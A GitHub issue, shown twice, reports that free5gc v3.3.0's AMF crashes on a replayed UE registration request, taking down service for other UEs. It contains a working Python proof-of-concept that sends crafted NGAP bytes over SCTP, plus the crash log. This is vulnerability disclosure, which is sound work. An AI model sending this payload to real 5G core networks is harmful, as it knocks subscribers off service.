An issue in Free5gc v.3.3.0 allows a local attacker to cause a denial of service via the free5gc-compose component.

## Describe the bug
When I try to send a captured UE registration request message to the AMF, the log shows 'sctp accept from <nil>,' and the AMF crashes, causing disconnection for other UEs as well.

## To Reproduce
Steps to reproduce the behavior:
1. Using free5gc-compose to establish the AMF.
2. run free5gc with default config.
3. Run the following POC python script
`import sys, sctp, socket

if len(sys.argv) != 2:
  print("Usage: free5gc.py server-address")
  exit(0)

sk = sctp.sctpsocket_tcp(socket.AF_INET)
sk.connect((sys.argv[1], 38412))
ue_request=b'\x00\x0f\x40\x48\x00\x00\x05\x00\x55\x00\x02\x00\x01\x00\x26\x00\x1a\x19\x7e\x00\x41\x79\x00\x0d\x01\x02\xf8\x39\x00\x00\x00\x00\x00\x00\x00\x00\x30\x2e\x04\xf0\xf0\xf0\xf0\x00\x79\x00\x13\x50\x02\xf8\x39\x00\x00\x00\x01\x00\x02\xf8\x39\x00\x00\x01\xe8\xe8\x7e\xd4\x00\x5a\x40\x01\x18\x00\x70\x40\x01\x00'
sk.sctp_send(ue_request, ppid=socket.htonl(60))

sk.close()`

## Expected behavior
I have sent the registration request of a UE that has already completed registration, so the expected behavior should be a notification that the user is already registered and a rejection of the request.However, the AMF crashed

## Screenshots
![图片1](https://github.com/free5gc/free5gc/assets/135982481/8e6f6d0c-748c-49b8-b08f-2b82b9774dcf)


## Environment (please complete the following information):
 - free5GC Version: v3.3.0
 - OS: Ubuntu 20.04.1 live-server
 - Kernel version: 5.4.0-165-generic
 

## Trace File
### Configuration File
Use the default config file.


### PCAP File
[crash.zip](https://github.com/free5gc/free5gc/files/13198058/crash.zip)



### Log File
`amf              | 2023-10-29T11:42:37.467203444Z [INFO][AMF][Ngap] [AMF] SCTP Accept from: <nil>
amf              | 2023-10-29T11:42:37.467906401Z [FATA][AMF][Ngap] panic: runtime error: invalid memory address or nil pointer dereference
amf              | goroutine 137 [running]:
amf              | runtime/debug.Stack()
amf              |      /usr/local/go/src/runtime/debug/stack.go:24 +0x65
amf              | github.com/free5gc/amf/internal/ngap/service.handleConnection.func1()
amf              |      /go/src/free5gc/NFs/amf/internal/ngap/service/service.go:184 +0x58
amf              | panic({0xbb3280, 0x13088a0})
amf              |      /usr/local/go/src/runtime/panic.go:1038 +0x215
amf              | github.com/free5gc/amf/internal/ngap.Dispatch({0xdf2988, 0xc0001ec020}, {0xc0008ce000, 0x40000, 0x40000})
amf              |      /go/src/free5gc/NFs/amf/internal/ngap/dispatcher.go:19 +0xac
amf              | github.com/free5gc/amf/internal/ngap/service.handleConnection(0xc0001ec020, 0x40000, {0xd03d48, 0xd03d58, 0xd03d50})
amf              |      /go/src/free5gc/NFs/amf/internal/ngap/service/service.go:237 +0x417
amf              | created by github.com/free5gc/amf/internal/ngap/service.listenAndServe
amf              |      /go/src/free5gc/NFs/amf/internal/ngap/service/service.go:158 +0x9fe
n3iwf            | 2023-10-29T11:42:37.490422713Z [WARN][N3IWF][NGAP] [SCTP] Close connection.
n3iwf            | 2023-10-29T11:42:37.490494299Z [INFO][N3IWF][NGAP] NGAP receiver stopped
n3iwf            | 2023-10-29T11:42:37.490506087Z [INFO][N3IWF][NGAP] NGAP server stopped
ueransim         | [2023-10-29 11:42:37.490] [sctp] [debug] SCTP association shutdown (clientId: 2)
ueransim         | [2023-10-29 11:42:37.491] [sctp] [warning] Unhandled SCTP notification received
ueransim         | [2023-10-29 11:42:37.491] [ngap] [error] Association terminated for AMF[2]
ueransim         | [2023-10-29 11:42:37.491] [ngap] [debug] Removing AMF context[2]
`




## Additional context
This security issue could allow anyone to send an message that would cause an amf denial of service and severely affect other users.

[Bugs]Amf crashed when failed to resolve the IP of ngap message , resulting in a null pointer reference.
This is a GitHub Issue
repo:free5gc
owner:free5gc
Title : [Bugs]Amf crashed when failed to resolve the IP of ngap message , resulting in a null pointer reference.
Issue date:

--- start body ---

## Describe the bug
When I try to send a captured UE registration request message to the AMF, the log shows 'sctp accept from <nil>,' and the AMF crashes, causing disconnection for other UEs as well.

## To Reproduce
Steps to reproduce the behavior:
1. Using free5gc-compose to establish the AMF.
2. run free5gc with default config.
3. Run the following POC python script
`import sys, sctp, socket

if len(sys.argv) != 2:
  print("Usage: free5gc.py server-address")
  exit(0)

sk = sctp.sctpsocket_tcp(socket.AF_INET)
sk.connect((sys.argv[1], 38412))
ue_request=b'\x00\x0f\x40\x48\x00\x00\x05\x00\x55\x00\x02\x00\x01\x00\x26\x00\x1a\x19\x7e\x00\x41\x79\x00\x0d\x01\x02\xf8\x39\x00\x00\x00\x00\x00\x00\x00\x00\x30\x2e\x04\xf0\xf0\xf0\xf0\x00\x79\x00\x13\x50\x02\xf8\x39\x00\x00\x00\x01\x00\x02\xf8\x39\x00\x00\x01\xe8\xe8\x7e\xd4\x00\x5a\x40\x01\x18\x00\x70\x40\x01\x00'
sk.sctp_send(ue_request, ppid=socket.htonl(60))

sk.close()`

## Expected behavior
I have sent the registration request of a UE that has already completed registration, so the expected behavior should be a notification that the user is already registered and a rejection of the request.However, the AMF crashed

## Screenshots
![图片1](https://github.com/free5gc/free5gc/assets/135982481/8e6f6d0c-748c-49b8-b08f-2b82b9774dcf)


## Environment (please complete the following information):
 - free5GC Version: v3.3.0
 - OS: Ubuntu 20.04.1 live-server
 - Kernel version: 5.4.0-165-generic
 

## Trace File
### Configuration File
Use the default config file.


### PCAP File
[crash.zip](https://github.com/free5gc/free5gc/files/13198058/crash.zip)



### Log File
`amf              | 2023-10-29T11:42:37.467203444Z [INFO][AMF][Ngap] [AMF] SCTP Accept from: <nil>
amf              | 2023-10-29T11:42:37.467906401Z [FATA][AMF][Ngap] panic: runtime error: invalid memory address or nil pointer dereference
amf              | goroutine 137 [running]:
amf              | runtime/debug.Stack()
amf              |      /usr/local/go/src/runtime/debug/stack.go:24 +0x65
amf              | github.com/free5gc/amf/internal/ngap/service.handleConnection.func1()
amf              |      /go/src/free5gc/NFs/amf/internal/ngap/service/service.go:184 +0x58
amf              | panic({0xbb3280, 0x13088a0})
amf              |      /usr/local/go/src/runtime/panic.go:1038 +0x215
amf              | github.com/free5gc/amf/internal/ngap.Dispatch({0xdf2988, 0xc0001ec020}, {0xc0008ce000, 0x40000, 0x40000})
amf              |      /go/src/free5gc/NFs/amf/internal/ngap/dispatcher.go:19 +0xac
amf              | github.com/free5gc/amf/internal/ngap/service.handleConnection(0xc0001ec020, 0x40000, {0xd03d48, 0xd03d58, 0xd03d50})
amf              |      /go/src/free5gc/NFs/amf/internal/ngap/service/service.go:237 +0x417
amf              | created by github.com/free5gc/amf/internal/ngap/service.listenAndServe
amf              |      /go/src/free5gc/NFs/amf/internal/ngap/service/service.go:158 +0x9fe
n3iwf            | 2023-10-29T11:42:37.490422713Z [WARN][N3IWF][NGAP] [SCTP] Close connection.
n3iwf            | 2023-10-29T11:42:37.490494299Z [INFO][N3IWF][NGAP] NGAP receiver stopped
n3iwf            | 2023-10-29T11:42:37.490506087Z [INFO][N3IWF][NGAP] NGAP server stopped
ueransim         | [2023-10-29 11:42:37.490] [sctp] [debug] SCTP association shutdown (clientId: 2)
ueransim         | [2023-10-29 11:42:37.491] [sctp] [warning] Unhandled SCTP notification received
ueransim         | [2023-10-29 11:42:37.491] [ngap] [error] Association terminated for AMF[2]
ueransim         | [2023-10-29 11:42:37.491] [ngap] [debug] Removing AMF context[2]
`




## Additional context
This security issue could allow anyone to send an message that would cause an amf denial of service and severely affect other users.

--- end body ---
